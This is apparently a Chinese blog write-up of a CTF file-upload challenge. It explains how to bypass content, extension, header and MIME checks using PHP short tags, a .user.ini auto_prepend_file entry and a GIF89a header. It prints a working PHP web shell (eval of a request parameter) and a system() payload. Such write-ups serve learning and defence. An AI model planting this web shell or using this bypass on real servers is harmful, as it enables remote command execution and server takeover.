攻防世界ctf题目easyupload做题笔记。
刚刷完upload-labs靶场,做做ctf题目,发现自己掌握的知识并不牢固。做了半天没有解出来,最后还是看别人的题解做出来的。写下做题过程,也就是wp吧。为了方便以后复习巩固。
本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行
这里需要绕过的点如下
- 检查文件内容是否有php字符串
- 检查后缀中是否有htaccess或ph
- 检查文件头部信息
- 文件MIME类型
对于第一点可以利用短标签绕过,例如<?=phpinfo();?>(这同时也是我的知识盲区)
对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,
可以参考以下文章
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
知识点:在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。
知识点:
auto_prepend_file 表示加载第一个PHP代码之前执行指示(包含的)PHP文件
auto_append_file 表示加载第一个PHP代码之后执行指示(包含的)PHP文件
简单来说auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a
知识点:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。
php下检测(使用getimagesize函数无法判断其图片是无效的)
第四点绕过方法即修改上传时的Content-Type为image/jpg
得到flag过程:
上传.user.ini,内容为:
GIF89a
auto_prepend_file=a.jpg
上传a.jpg,内容为:
GIF89a
<?=system('cat /flag');?>
或
GIF89a<?=eval($_REQUEST['cmd']);?>
上传成功根据文件地址连接蚁剑获取flag
攻防世界ctf题目easyupload做题笔记。相关推荐
- 攻防世界-leaking-(详细操作)做题过程
如有不对的地方,还请各位大佬指正.下面开始做题: 进入题目以后是一串代码,又是代码审计,很烦啊......哎.下面是需要了解的php函数含义: require()是php的内置函数,作用是引入或者包含 ...
- 攻防世界ctf题目fileinclude笔记
根据提示,网站首页目录 /var/www/html/index.php , flag在flag.php中,右键查看源代码. @include处存在文件包含漏洞,变量从网站传过来的cookie确定 ...
- 【ics-05 | mfw】攻防世界CTF题WP
攻防世界CTF题WP ics-05 所需知识 解题步骤 学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识 解题步骤 学习知识 Dirserach工具 GitHa ...
- 攻防世界MISC进阶区刷题记录
文章目录 攻防世界MISC进阶区刷题记录 Ditf 运用stegextract进行分离 glance-50 gif图片分离组合脚本 hit-the-core Test-flag-please-igno ...
- C语言程序设计做题笔记之C语言基础知识(下)
C 语言是一种功能强大.简洁的计算机语言,通过它可以编写程序,指挥计算机完成指定的任务.我们可以利用C语言创建程序(即一组指令),并让计算机依指令行 事.并且C是相当灵活的,用于执行计算机程序能完成的 ...
- verilog练习:hdlbits网站上的做题笔记(6)
前言 之前的文章<如何学习verilog,如何快速入门?>中提到了verilog学习,推荐了一个可以练习的网站:hdlbits网站,那自己也玩玩这个网站. 这篇文章,是接着<veri ...
- verilog练习:hdlbits网站上的做题笔记(7)!强烈推荐!
前言 之前的文章<如何学习verilog,如何快速入门?>中提到了verilog学习,推荐了一个可以练习的网站:hdlbits网站,那自己也玩玩这个网站. 这篇文章,是接着<veri ...
- buuctf-MISC篇做题笔记(2)
buuctf-MISC篇做题笔记(2) 第七题:基础破解 先看题目提示,可能也要暴力破解 打开后是RAR文件,需要密码 我是用RARpassword暴力破解,且根据题意已知是四位纯数字密码,设置破解的 ...
- verilog练习:hdlbits网站上的做题笔记(5)
前言 之前的文章<如何学习verilog,如何快速入门?>中提到了verilog学习,推荐了一个可以练习的网站:hdlbits网站,那自己也玩玩这个网站. 这篇文章,是接着<veri ...
最新文章
- 2018ACM四川省赛G.Grisaia(超棒的杜教筛好题)
- Ubuntu升级后apache所有的失败,以解决虚拟文件夹的设置
- 10JavaScript中的预解析
- 依赖类型dependency type在maven中的作用
- 直播APP开发注意事项汇总
- 每日一皮:客户说想要增加一个新功能,你看我做的如何?
- 为什么 在内存中为什么 0xffff 是 -1
- html删除一行增加一行,html怎么增加一行
- mediawiki 搭建
- 初识数据库 1006
- iphone闪退修复工具_iPhone更新iOS 13出现程序闪退?大家不妨试试这个方法来解决问题...
- 全局路径规划:图搜索算法介绍3(A stars tie breaker)
- 使用std::function 把类成员函数指针转换为普通函数指针
- 关于出现Not an editor command: Bundle ‘**/*.vim‘的解决方案【转】
- 排序算法、数据结构动态图、动态运行效果
- jdk1.6-64下载
- Jlink按照用zadig升级用于openocd后,还原
- Antd Form Upload 报fileList错误-解决方案
- 计算机是不是属于文具类,计算器属于学生文具吗?
- 易观CTO郭炜:开源,不是天才的甜点,而是勤奋者的盛宴
热门文章
- 【记录】批处理文件提取 (2020.8.26)
- 深度学习常用工具-数据增强+绘图
- 关于maven项目更新依赖时的问题解决
- excel导入如果是数字类型的poi的cell.getStringCellValue()会报错
- 热门 UI 组件库离线文档制作教程(iView、Arco Design)
- vue边缘不规则照片墙/图片墙(附开场动画)
- MATLAB数字信号处理(1)四种经典功率谱估计方法比较
- 微机原理——平方值查表
- 使用netty实现简单tcp服务端
- 卸载小番茄_不想卸载,这些小众高级的APP竟然比B站还好用!